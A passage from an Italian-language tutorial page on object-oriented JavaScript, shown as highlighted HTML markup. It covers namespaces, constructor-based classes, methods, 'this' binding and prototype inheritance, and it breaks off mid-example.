+<p><span id="result_box" lang="it"><span class="hps">La seguente</span> <span class="hps">è</span> <span class="hps">la sintassi del codice</span> <span class="hps">per</span> <span class="hps">la creazione di un</span> namespace <span class="hps">e l'aggiunta di</span> <span class="hps">variabili, funzioni</span><span>,</span> <span class="hps">e</span> <span class="hps">un metodo:</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// Create container called MYAPP.commonMethod for common method and properties</span>
+MYAPP<span class="punctuation token">.</span>commonMethod <span class="operator token">=</span> <span class="punctuation token">{</span>
+  regExForName<span class="punctuation token">:</span> <span class="string token">""</span><span class="punctuation token">,</span> <span class="comment token">// define regex for name validation</span>
+  regExForPhone<span class="punctuation token">:</span> <span class="string token">""</span><span class="punctuation token">,</span> <span class="comment token">// define regex for phone no validation</span>
+  validateName<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>name<span class="punctuation token">)</span><span class="punctuation token">{</span>
+    <span class="comment token">// Do something with name, you can access regExForName variable</span>
+    <span class="comment token">// using "this.regExForName"</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span>
+
+  validatePhoneNo<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>phoneNo<span class="punctuation token">)</span><span class="punctuation token">{</span>
+    <span class="comment token">// do something with phone number</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Object together with the method declarations</span>
+MYAPP<span class="punctuation token">.</span>event <span class="operator token">=</span> <span class="punctuation token">{</span>
+    addListener<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>el<span class="punctuation token">,</span> type<span class="punctuation token">,</span> fn<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// code stuff</span>
+    <span class="punctuation token">}</span><span class="punctuation token">,</span>
+    removeListener<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>el<span class="punctuation token">,</span> type<span class="punctuation token">,</span> fn<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// code stuff</span>
+    <span class="punctuation token">}</span><span class="punctuation token">,</span>
+    getEvent<span class="punctuation token">:</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="comment token">// code stuff</span>
+    <span class="punctuation token">}</span>
+
+    <span class="comment token">// Can add another method and properties</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Syntax for Using addListener method:</span>
+MYAPP<span class="punctuation token">.</span>event<span class="punctuation token">.</span><span class="function token">addListener</span><span class="punctuation token">(</span><span class="string token">"yourel"</span><span class="punctuation token">,</span> <span class="string token">"type"</span><span class="punctuation token">,</span> callback<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Oggetti_incorporati_built-in_standard">Oggetti incorporati (built-in) standard</h3>
+
+<p><span id="result_box" lang="it"><span class="hps">JavaScript</span> <span class="hps">ha diversi</span> <span class="hps">oggetti inclusi</span> <span class="hps">nel suo nucleo</span><span>,</span> <span class="hps">per esempio ci</span> <span class="hps">sono</span> <span class="hps">oggetti come</span> </span>Math, Object, Array e String<span lang="it"><span>.</span> <span class="hps">L'esempio seguente mostra</span> <span class="hps">come utilizzare</span> <span class="hps">l'oggetto</span> <span class="hps">Math per</span> <span class="hps">ottenere</span> <span class="hps">un numero casuale</span> <span class="hps">utilizzando</span> <span class="hps">il suo</span> <span class="hps">metodo</span></span> <code>random()</code> <span lang="it"><span>.</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<div class="note"><strong>Nota:</strong> <span id="result_box" lang="it"><span class="hps">Questo</span> <span class="hps">e</span> <span class="hps">tutti gli</span> <span class="hps">ulteriori esempi</span> presuppongono che <span class="hps">una funzione chiamata</span></span> {{domxref("console.log()")}} <span lang="it"><span class="hps">sia definita</span> <span class="hps">a livello globale</span><span>.</span> <span class="hps">La funzione</span> </span><code>console.log()</code> <span lang="it"><span class="hps">in realtà non</span> <span class="hps">è </span><span class="hps">parte</span> <span class="hps">di</span> <span class="hps">JavaScript</span> <span class="hps">in sé</span><span>,</span> <span class="hps">ma</span> <span class="hps">molti browser</span> la implementano <span class="hps">per aiutare</span> <span class="hps">il debug</span><span>.</span></span></div>
+
+<p>Vedi <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects" title="en-US/docs/Web/JavaScript/Reference/Global_Objects">JavaScript Reference: Standard built-in objects</a> for una lista degli oggetti di nucleo in JavaScript.</p>
+
+<p>Ogni oggetto in JavaScript è una instanza dell'oggetto <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"><code>Object</code></a> e perciò ne eredita tutte le sue  proprietà e metodi.</p>
+
+<h3 id="Oggetti_utente">Oggetti utente</h3>
+
+<h4 id="La_classe">La classe</h4>
+
+<p><span id="result_box" lang="it"><span class="hps">JavaScript è un linguaggio</span> <span class="hps">basato sui prototipi</span> <span class="hps">e</span> <span class="hps">non contiene</span> <span class="hps">alcuna dichiarazione</span> <span class="hps">di classe</span><span>,</span> <span class="hps">come invece si trova</span> <span class="hps">in C</span> <span class="hps">++</span> <span class="hps">o Java</span><span>.</span> <span class="hps">Questo a volte è</span> <span class="hps">fonte di confusione per</span> <span class="hps">i programmatori</span> <span class="hps">abituati</span> <span class="hps">ai linguaggi</span> <span class="hps">con</span> <span class="hps">una dichiarazione</span></span> <code>class</code><span lang="it"><span>.</span> <span class="hps">JavaScript</span> <span class="hps">utilizza le funzioni</span> <span class="hps">come</span> <span class="hps">costruttori</span> <span class="hps">per le classi</span><span>.</span> <span class="hps">Definire una</span> <span class="hps">classe è</span> <span class="hps">facile come</span> <span class="hps">definire una funzione</span><span>.</span> <span class="hps">Nell'esempio sottostante</span> <span class="hps">si definisce una</span> <span class="hps">nuova</span> <span class="hps">classe chiamata</span> <span class="hps">Person con</span> <span class="hps">un</span> <span class="hps">costruttore vuoto</span><span>.</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> Person <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h4 id="Loggetto_istanza_di_classe">L'oggetto (istanza di classe)</h4>
+
+<p>Per creare una nuova istanza di un oggetto <code>obj</code> utilizziamo l'istruzione <code>new obj</code> assegnando il risultato (che è di tipo <code>obj</code>) ad una variabile, per poi accedervi successivamente.</p>
+
+<p>Nell'esempio precedente abbiamo definito una classe chiamata  <code>Person</code>. In quello seguente creiamo due istanze (<code>person1</code> e <code>person2</code>).</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> person1 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> person2 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<div class="note"><strong>Nota:</strong> Prego vedi {{jsxref("Object.create()")}} per un ulteriore nuovo metodo d'istanza che crea una istanza non inizializzata.</div>
+
+<h4 id="Il_costruttore">Il costruttore</h4>
+
+<p><span id="result_box" lang="it"><span class="hps">Il</span> <span class="hps">costruttore viene chiamato</span> quando si instanzia un oggetto <span class="atn hps">(</span><span>il momento in cui</span> <span class="hps">si crea</span> <span class="hps">l'istanza dell'oggetto</span><span>)</span><span>.</span> <span class="hps">Il</span> <span class="hps">costruttore è un</span> <span class="hps">metodo della classe</span><span>.</span> <span class="hps">In JavaScript</span> <span class="hps">la funzione</span> <span class="hps">funge da</span> <span class="hps">costruttore dell'oggetto</span><span>,</span> <span class="hps">pertanto</span> <span class="hps">non è necessario</span> <span class="hps">definire esplicitamente</span> <span class="hps">un</span> <span class="hps">metodo costruttore</span><span>.</span> <span class="hps">Ogni azione</span> <span class="hps">dichiarata</span> <span class="hps">nella classe</span> <span class="hps">viene eseguita</span> <span class="hps">al momento della</span> <span class="hps">creazione di un'istanza</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="it"><span class="hps">Il costruttore</span> <span class="hps">viene utilizzato per</span> <span class="hps">impostare le proprietà</span> <span class="hps">dell'oggetto</span> <span class="hps">o</span> <span class="hps">per chiamare</span> <span class="hps">i metodi che</span> <span class="atn hps">preparano l'</span><span>oggetto per il suo uso</span><span>.</span> <span class="hps">L'aggiunta di</span> <span class="hps">metodi di classe</span> <span class="hps">e le loro definizioni</span> <span class="hps">si effettua </span><span class="hps">utilizzando una</span> <span class="hps">sintassi diversa</span> <span class="hps">descritta più avanti in</span> <span class="hps">questo</span> <span class="hps">articolo</span><span>.</span></span></p>
+
+<p>Nell'esempio seguente il costruttore della classe<code> Person</code> registra un messaggio quando viene istanziato un oggetto <code>Person</code>.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> Person <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'instance created'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> person1 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> person2 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h4 id="La_proprietà_attributo_di_oggetto">La proprietà (attributo di oggetto)</h4>
+
+<p>Le proprietà sono variabili contenute nella classe; ogni istanza dell'oggetto ha queste proprietà. Le proprietà sono impostate nel costruttore (funzione) della classe in modo che siano creati su ogni istanza.</p>
+
+<p><span id="result_box" lang="it"><span class="hps">La</span> <span class="hps">parola chiave</span></span> <code>this</code>, <span lang="it"><span class="hps">che si riferisce</span> <span class="hps">all'oggetto</span> <span class="hps">corrente</span><span>,</span> <span class="hps">consente di lavorare</span> <span class="hps">con le proprietà</span> <span class="hps">all'interno della classe</span><span>.</span> <span class="hps">L'accesso</span> <span class="atn hps">(</span><span>in lettura o</span> <span class="hps">scrittura)</span> <span class="hps">ad una proprietà</span> <span class="hps">al di fuori</span> <span class="hps">della classe</span> <span class="hps">è fatto con</span> <span class="hps">la sintassi</span><span>:</span> </span><code>NomeIstanza.Proprietà</code><span lang="it"><span>,</span> <span class="hps">proprio come in</span> <span class="hps">C</span> <span class="hps">++</span><span>,</span> <span class="hps">Java</span><span>,</span> <span class="hps">e molti altri linguaggi</span><span>.</span> <span class="atn hps">(</span><span>All'interno della</span> <span class="hps">classe la</span> <span class="hps">sintassi </span></span><code>this.Proprietà</code><span lang="it"><span class="hps"> è utilizzata</span> <span class="hps">per ottenere o impostare</span> <span class="hps">il valore della proprietà</span><span>.</span><span>)</span></span></p>
+
+<p>Nell'esempio seguente, definiamo al momento della creazione  la proprietà <code>firstName</code> per la classe <code>Person</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> Person <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>firstName<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">this</span><span class="punctuation token">.</span>firstName <span class="operator token">=</span> firstName<span class="punctuation token">;</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Person instantiated'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> person1 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="string token">'Alice'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> person2 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="string token">'Bob'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Show the firstName properties of the objects</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'person1 is '</span> <span class="operator token">+</span> person1<span class="punctuation token">.</span>firstName<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs "person1 is Alice"</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'person2 is '</span> <span class="operator token">+</span> person2<span class="punctuation token">.</span>firstName<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs "person2 is Bob"</span></code></pre>
+
+<h4 id="I_metodi">I metodi</h4>
+
+<p>I metodi sono funzioni (e definiti come funzioni), ma per il resto seguono la stessa logica delle proprietà. Chiamare un metodo è simile all'accesso a una proprietà, ma si aggiunge () alla fine del nome del metodo, eventualmente con argomenti. Per definire un metodo va assegnata una funzione a una proprietà della proprietà <code>prototype</code> della classe. In seguito sarà possibile chiamare il metodo sull'oggetto utilizzando lo stesso nome assegnato alla funzione.</p>
+
+<p>Nell'esempio seguente definiamo e usiamo il metodo <code>sayHello()</code> per la classe <code>Person</code>.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> Person <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>firstName<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">this</span><span class="punctuation token">.</span>firstName <span class="operator token">=</span> firstName<span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+Person<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>sayHello <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Hello, I'm "</span> <span class="operator token">+</span> <span class="keyword token">this</span><span class="punctuation token">.</span>firstName<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> person1 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="string token">"Alice"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> person2 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="string token">"Bob"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// call the Person sayHello method.</span>
+person1<span class="punctuation token">.</span><span class="function token">sayHello</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs "Hello, I'm Alice"</span>
+person2<span class="punctuation token">.</span><span class="function token">sayHello</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs "Hello, I'm Bob"</span></code></pre>
+
+<p>In JavaScript i metodi sono oggetti funzione regolarmente associati a un oggetto come una proprietà, il che significa che è possibile richiamare i metodi "fuori dal contesto". Si consideri il seguente codice di esempio:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> Person <span class="operator token">=</span> <span class="keyword token">function</span> <span class="punctuation token">(</span>firstName<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">this</span><span class="punctuation token">.</span>firstName <span class="operator token">=</span> firstName<span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+Person<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>sayHello <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Hello, I'm "</span> <span class="operator token">+</span> <span class="keyword token">this</span><span class="punctuation token">.</span>firstName<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> person1 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="string token">"Alice"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> person2 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="string token">"Bob"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> helloFunction <span class="operator token">=</span> person1<span class="punctuation token">.</span>sayHello<span class="punctuation token">;</span>
+
+<span class="comment token">// logs "Hello, I'm Alice"</span>
+person1<span class="punctuation token">.</span><span class="function token">sayHello</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// logs "Hello, I'm Bob"</span>
+person2<span class="punctuation token">.</span><span class="function token">sayHello</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// logs "Hello, I'm undefined" (or fails</span>
+<span class="comment token">// with a TypeError in strict mode)</span>
+<span class="function token">helloFunction</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// logs true</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>helloFunction <span class="operator token">===</span> person1<span class="punctuation token">.</span>sayHello<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// logs true</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>helloFunction <span class="operator token">===</span> Person<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>sayHello<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// logs "Hello, I'm Alice"</span>
+helloFunction<span class="punctuation token">.</span><span class="function token">call</span><span class="punctuation token">(</span>person1<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>Come dimostra questo esempio tutti i riferimenti alla funzione <code>sayHello</code> — quello su  <code>person1</code>, su <code>Person.prototype</code>, nella variabile <code>helloFunction</code>, ecc.— si riferiscono tutti alla <em>stessa funzione</em>. Il valore di <code>this</code> nel corso di una chiamata alla funzione dipende da come noi lo chiamiamo. Più comunemente, quando chiamiamo <code>this</code>  in un'espressione dove abbiamo ottenuto la funzione da una proprietà di oggetto — <code>person1.sayHello()</code>— <code>this</code> è riferito all'oggetto da cui abbiamo ottenuto la funzione (<code>person1</code>), questa è la ragione per cui <code>person1.sayHello()</code> usa il  nome "Alice" e <code>person2.sayHello()</code> usa il nome "Bob".  Ma se lo chiamiamo in altri modi, <code>this</code> è impostato in modo diverso: chiamare <code>this</code> da una variabile— <code>helloFunction()</code>— <code>imposta this</code> come riferimento all'oggetto globale (<code>window</code>, sui browser). Dal momento che l'oggetto globale (probabilmente) non dispone di una proprietà <code>firstName</code> otteniamo "Hello, I'm undefined". (Questo accade in modalità blanda (loose mode); sarebbe stato diverso [un errore] in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode" title="/en/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a>, ma per evitare confusione qui non entreremo nei dettagli). Oppure si può impostare  <code>this</code> esplicitamente utilizzando <code>Function#call</code> (o <code>Function#apply</code>), come illustrato alla fine dell'esempio.</p>
+
+<div class="note"><strong>Nota:</strong> Vedi approfondimenti su <code>this</code> in <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/call">Function#call</a> e <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Function/apply">Function#apply</a></div>
+
+<h4 id="Eredità">Eredità</h4>
+
+<p>L'ereditarietà è un modo per creare una classe come una versione specializzata di una o più classi (<em>JavaScript supporta solo l'ereditarietà singola</em>). La classe specializzata viene comunemente chiamata <em>figlio</em>, e l'altra classe viene comunemente chiamato <em>padre</em>. In JavaScript si esegue questa operazione assegnando un'istanza della classe padre alla classe figlio, e poi specializzandola. Nel browser moderni è anche possibile utilizzare <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create" title="/en-US/docs/JavaScript/Reference/Global_Objects/Object/create#Classical_inheritance_with_Object.create">Object.create</a> per implementare l'ereditarietà.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> JavaScript non rileva  <code>prototype.constructor</code> della classe figlio (vedi <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype">Object.prototype</a>), quindi devi farlo manualmente. Vedi la domanda "<a href="http://stackoverflow.com/questions/8453887/why-is-it-necessary-to-set-the-prototype-constructor">Why is it necessary to set the prototype constructor?</a>" su Stackoverflow.</p>
+</div>
+
+<p>Nell'esempio seguente definiamo la classe  <code>Student</code> come classe figlio di <code>Person</code>. Quindi ridefiniamo il metodo <code>sayHello()</code> e aggiungiamo il metodo <code>sayGoodBye()</code> .</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// Define the Person constructor</span>
+<span class="keyword token">var</span> Person <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>firstName<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">this</span><span class="punctuation token">.</span>firstName <span class="operator token">=</span> firstName<span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Add a couple of methods to Person.prototype</span>
+Person<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>walk <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"I am walking!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+Person<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>sayHello <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Hello, I'm "</span> <span class="operator token">+</span> <span class="keyword token">this</span><span class="punctuation token">.</span>firstName<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Define the Student constructor</span>
+<span class="keyword token">function</span> <span class="function token">Student</span><span class="punctuation token">(</span>firstName<span class="punctuation token">,</span> subject<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// Call the parent constructor, making sure (using Function#call)</span>
+  <span class="comment token">// that "this" is set correctly during the call</span>
+  Person<span class="punctuation token">.</span><span class="function token">call</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">,</span> firstName<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+  <span class="comment token">// Initialize our Student-specific properties</span>
+  <span class="keyword token">this</span><span class="punctuation token">.</span>subject <span class="operator token">=</span> subject<span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Create a Student.prototype object that inherits from Person.prototype.</span>
+<span class="comment token">// Note: A common error here is to use "new Person()" to create the</span>
+<span class="comment token">// Student.prototype. That's incorrect for several reasons, not least </span>
+<span class="comment token">// that we don't have anything to give Person for the "firstName" </span>
+<span class="comment token">// argument. The correct place to call Person is above, where we call </span>
+<span class="comment token">// it from Student.</span>
+Student<span class="punctuation token">.</span>prototype <span class="operator token">=</span> Object<span class="punctuation token">.</span><span class="function token">create</span><span class="punctuation token">(</span>Person<span class="punctuation token">.</span>prototype<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// See note below</span>
+
+<span class="comment token">// Set the "constructor" property to refer to Student</span>
+Student<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>constructor <span class="operator token">=</span> Student<span class="punctuation token">;</span>
+
+<span class="comment token">// Replace the "sayHello" method</span>
+Student<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>sayHello <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Hello, I'm "</span> <span class="operator token">+</span> <span class="keyword token">this</span><span class="punctuation token">.</span>firstName <span class="operator token">+</span> <span class="string token">". I'm studying "</span>
+              <span class="operator token">+</span> <span class="keyword token">this</span><span class="punctuation token">.</span>subject <span class="operator token">+</span> <span class="string token">"."</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Add a "sayGoodBye" method</span>
+Student<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>sayGoodBye <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">"Goodbye!"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span>
+
+<span class="comment token">// Example usage:</span>
+<span class="keyword token">var</span> student1 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Student</span><span class="punctuation token">(</span><span class="string token">"Janet"</span><span class="punctuation token">,</span> <span class="string token">"Applied Physics"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+student1<span class="punctuation token">.</span><span class="function token">sayHello</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>   <span class="comment token">// "Hello, I'm Janet. I'm studying Applied Physics."</span>
+student1<span class="punctuation token">.</span><span class="function token">walk</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>       <span class="comment token">// "I am walking!"</span>
+student1<span class="punctuation token">.</span><span class="function token">sayGoodBye</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// "Goodbye!"</span>
+
+<span class="comment token">// Check that instanceof works correctly</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>student1 <span class="keyword token">instanceof</span> <span class="class-name token">Person</span><span class="punctuation token">)</span><span class="punctuation token">;</span>  <span class="comment token">// true </span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>student1 <span class="keyword token">instanceof</span> <span class="class-name token">Student</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// true</span></code></pre>
+
+<p>Per quanto riguarda la linea <code>Student.prototype = Object.create(Person.prototype);</code> : in vecchi interpreti JavaScript senza  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create" title="Object.create"><code>Object.create</code></a>, si può utilizzare un "polyfill" (anche detto "shim", vedi l'articolo collegato), oppure utilizzare una funzione che produce il medesimo risultato, come:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">createObject</span><span class="punctuation token">(</span>proto<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">function</span> <span class="function token">ctor</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="punctuation token">}</span>
+    ctor<span class="punctuation token">.</span>prototype <span class="operator token">=</span> proto<span class="punctuation token">;</span>
+    <span class="keyword token">return</span> <span class="keyword token">new</span> <span class="class-name token">ctor</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Usage:</span>
+Student<span class="punctuation token">.</span>prototype <span class="operator token">=</span> <span class="function token">createObject</span><span class="punctuation token">(</span>Person<span class="punctuation token">.</span>prototype<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<div class="note"><strong>Nota:</strong> Vedi <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create" title="Object.create">Object.create</a> per maggiori informazioni su ciò che fa uno shim per vecchi interpreti.</div>
+
+<p>Essere sicuri che  <code>this</code> punti alla cosa giusta a prescindere da come l'oggetto sia istanziato può essere difficile. Tuttavia c'e una tecnica semplice per renderlo più facile.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> Person <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>firstName<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span><span class="keyword token">this</span> <span class="keyword token">instanceof</span> <span class="class-name token">Person</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
